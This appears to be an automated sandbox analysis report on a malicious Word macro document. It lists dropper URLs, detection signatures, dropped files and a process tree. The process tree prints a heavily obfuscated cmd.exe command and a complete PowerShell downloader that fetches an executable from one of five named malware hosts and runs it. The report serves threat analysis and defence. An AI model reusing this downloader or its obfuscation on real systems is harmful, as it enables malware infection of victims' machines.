Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 10:05

General

  • Target
    10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc
  • Size 111KB
  • Sample240503-l4vzmacb5x
  • SHA256 c0eceee4008b638421d54fe0b2db5e1cdf8634dd69b2516f75a99e389f15b130
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://overflowinteractive.com/aqZbQlCLC

  • exe.dropper

    http://bobfeick.com/iOEMwk9

  • exe.dropper

    http://herbalzone.jo/8gBsrhBFza

  • exe.dropper

    http://www.cabdjw.gov.cn/3mSlpqw

  • exe.dropper

    http://thiena.com/iv66WWS

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V^:^O/C"^s^e^t ^g^H^s=^~^@^|^ ^q^j^9 rg$^ G^z^Q^ ^D^[^`^ rv^5^ ^m^j^b^ ^L^s^6^ ^[^J^u^ ^k^~^h^ ^P^,^M^ ^{^F^l^ %V;^ ^I^4^9^ ^s^M^H^ ^0^[^F N^Z^-^ ^8^u^w^}^iv^Q^}^Q)^]^{%^m^{^h^9^j^{c^P^t^A^t^2^P^+^aj^t^Sc^m^`^y^}^f^&p^;^2^z^_^k^.^8^b^a^J^-^Ee^$d^@r^L^Q^P^b^'^fC^;^`^k^u^D^J^p0^A^j^mC^f^?N\^$^9^a%^ ^1^P^i^m^,^BNec^4L^tN^bR^I^f^|^;^-^w^P^j^e^d^e^I^k^w^f^D^o3^j^Lv(^-^AnV^@^d^I^W^}^k^;^@^{^a)^<^.^B^D^3^Q^T^A^t^P^|^f^8i^+^$^ ^9^~^ ^_^q^b^,^E^}^D^K^@^:^E^J^`T^H^I^Q/^-^$^0^G^T(x^f^|^e^\^X^Yl=)^T^i^8^L^y^F^[^5^:^d^D^z^H^a^9^ ^e^oC^|^+^lv^A^3n^E^eN^w^a^5I^o^;^s^{^D/^+^>^.^i^q^L^W^e^-^P^K^br^[^a^s)^3^$^:^BR^{^Mv^'^y^*^\^Dr^<^J^j^t^=^Z^h^{^\^:^])^Z^~L^h^Y%^Kh^y^K^.O^McE^$^9^=q ^0^b^tn^?c^u^i^`^@^w^ U^W^_^K^G^>^:^J;^A^&^I^W^'^#^$^[^;^g(^7^}^F^h^u)^Kc^Gv^ma^p_^a^e^s^w^Ir^I^p_^o^U^:^5^f^3a/^;^T^Q^|^'pC^<^e^i^q%^x^ ^bv^e^:^>^]^.c%^k^'^e^X^y^+^f^p^w^W^Dt^O^Q^F^f^L^z^;^P^4^$VvC^+^F^:^9^'^<^T^,^\^H^x^1^'^HN^a^+^y^W{cB^7^w^i^1^gV^l^a^,^@^b^f^+^q^u^<^xk^p^[^{^;^:^'^@^kv^6^[%n^_r8^e6^L^3^$^:^t^p^=^s^|^O^D^s^TVA^5n^ ^f^#^x^`^$^Y^]K;c^6^;^'^,@^H^1^t^}^h^1n^}^'^5^7O^f^'^\cn^ ^\^a^o^=^l^7^+^ ^_^~%^WN^y^9^Qz^k^S^z^ ^=^]^$^-^2^{^;^e^m^Y)^=V^K'^?^1/^@^g^7A^'n^U^`(^-V^2^t^:^T^u^i^u^H^ ^l^P^M^y^p^8^h^a^S^#^1^&^.^iC^T^'^0t^m^S^k7^e^W^k^3^lW^~^$^p^6^{)^26^k^+^Fv^Z^s^_i$.^&/^K^z?^m^`M^>o^4)^Fc^\?^d^.^z^|^b^a^1^F^4n^G^#^~^e^f^<^@^i^[^8^1^h^j^W^I^t^o^3^W/^EH^I/^1%^8^:1^;^+^p^q^Ju^t^1v^+^tu^f^A^h^t^O^'^@%^T^y^w^.^q^&^q^;^j^6^p^&^l^Q^l^D^g^A^S^Q^a^}^m^l^H_^3^}^B^T/ow^en^g^0^Ec^Y^J^w^.^9^?^hv^k^<^{^oR\^~^g^K^*^m^.V^0^L^w^J^@(^j^p^0q^dg^p)^b^dr^s^a^l^K^+cv^ %^.^jC^E^w^]^\^O^w^O^1^<^w^'^}^E/^|^pC/^k^}X^:^$^G^?^p^*^b^?^t^.)^O^tc^K^P^h^0^-^f^@^@^T%^a{^I^|z^S^o^;^F^Y^q^T^Bp^u^k^h1N^Pr^pe^4^s^,^{^[^B^@%^;^g^H^M^@^8^p^J^{/^Z^U^{^oN^W^H^j^zb(^.^X^H^3^e^e^T^3nv^G^g^o^q^?^-^zC^4^=^l^0^a^G^a^A^9W^b^M^X^5r^Y^>^\e^@^<V^h^\T^u/^T^A^3/^Dc^[^:^i^[B^pR^?^Mt]^kR^t#]^1^h^+^z^K^@V^2^{^9^}^z^t^k^3n^*^w^,r^#^M)^_^k^E^?^7^u^O^-c^D^i8^+R/^;^&^h^m^]^>^3^o^S/^xc^>^u^w^.^_^m^Q^k^MV^mc^s^{^>^i^x^k^u^e^,^'n^f^:0n^b^-^O^u^o^](^L^b^pcH/^d^p^y/%^3^I^:^X^M^Lp^8^\^Z^t^;r^M^t%^B^l^h^O^#^4^@^2^8^dC^D^m^Z^L^?^-^zCt^j^Tl^z^H^A^Qr^H^i^b=^Jv^Z^H^f^j^q^8^$^4^a^K^P^Y/Nr'^m^b^l^]^o(^Jcc^1n^p^.^3^F^We^_c?v^:)^k^i^[t^y^t^.^9/c^X}^-^a^z^q)r^T^y%^e^s^#^e^t^Z^m)n^{^u^W^i^*^U}^w^*Nc^o^dr^Hlv^`^p^f^|5^ar^'^O^x^e^?l^2v^;^t^l^o^m^F-/^~^z^7/V^*N:^xr^?^p^=^i^$^t.^=^ftR^fn^h^ ^U^@^'^\^K#^=^~^p^,^h@^i^j^hN^.^S^O^1^4^<$k^W^A^;%^{^S^t^:^2Cn^>^L^#^e^T^}^E^i^B-^P^l^=^<^ C^k^3'^b/^M^&^e/^a^f^W^2^s^a^.V^y^Y^t^I^Yw^e_/^zN^a^#^|^ %v^.^t^&^S^7c^1^&^:^e^,^2^d^j^f^:^x^b^f^&^m^o^Q^bC^-^+^3^P^w^Z^f%^eC^:^1n^=^[/^=^Y^>^H^W0^BC^K^#^`^7^a^U^u^$^$'^xw^ ^T^?^Y^l^ZC^.^l^H^`^J^e^O^{^u^h^YN^$^s^I^S(r^a^m^_e%^:^}^w^6^1)^o^2^e^5p&&^f^or /^L %^1 ^in (^14^79^,^-^4^,^3)^d^o ^s^e^t R^z^G=!R^z^G!!^g^H^s:~%^1,1!&&^i^f %^1 ^l^e^q ^3 c^a^l^l %R^z^G:^~^-3^7^0%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $aKW=new-object Net.WebClient;$Ohh='http://overflowinteractive.com/aqZbQlCLC@http://bobfeick.com/iOEMwk9@http://herbalzone.jo/8gBsrhBFza@http://www.cabdjw.gov.cn/3mSlpqw@http://thiena.com/iv66WWS'.Split('@');$zQW = '511';$fAD=$env:public+'\'+$zQW+'.exe';foreach($IJK in $Ohh){try{$aKW.DownloadFile($IJK, $fAD);Invoke-Item $fAD;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4272
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:2564

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_4eh50w3t.bgv.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4eh50w3t.bgv.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          511.exe

          • Path C:\Users\Public\511.exe
          • Size 1KB
          • SHA256 a565c9e69a388ca38fe695f457e34be6ca3e8de82675f99c324de9100407ee30
          • MD5 SHA1 SHA512

          511.exe

          • Path C:\Users\Public\511.exe
          • Size 102KB
          • SHA256 7a4e71b475d4c03d667f1aa3d6c0107829d05cec9a1b127ca49edd0607726a57
          • MD5 SHA1 SHA512 SSDEEP

          memory/3488-7-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-59-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-2-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-6-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-0-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-8-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-9-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-10-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-11-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

          memory/3488-12-0x00007FFAC1010000-0x00007FFAC1020000-memory.dmp

          memory/3488-22-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-28-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-32-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-96-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-5-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-45-0x00007FFB0354D000-0x00007FFB0354E000-memory.dmp

          memory/3488-46-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-48-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-3-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-4-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-1-0x00007FFB0354D000-0x00007FFB0354E000-memory.dmp

          memory/3488-72-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-73-0x00007FFB034B0000-0x00007FFB036A5000-memory.dmp

          memory/3488-92-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-93-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-95-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/3488-94-0x00007FFAC3530000-0x00007FFAC3540000-memory.dmp

          memory/4272-42-0x0000014BAA8B0000-0x0000014BAA8D2000-memory.dmp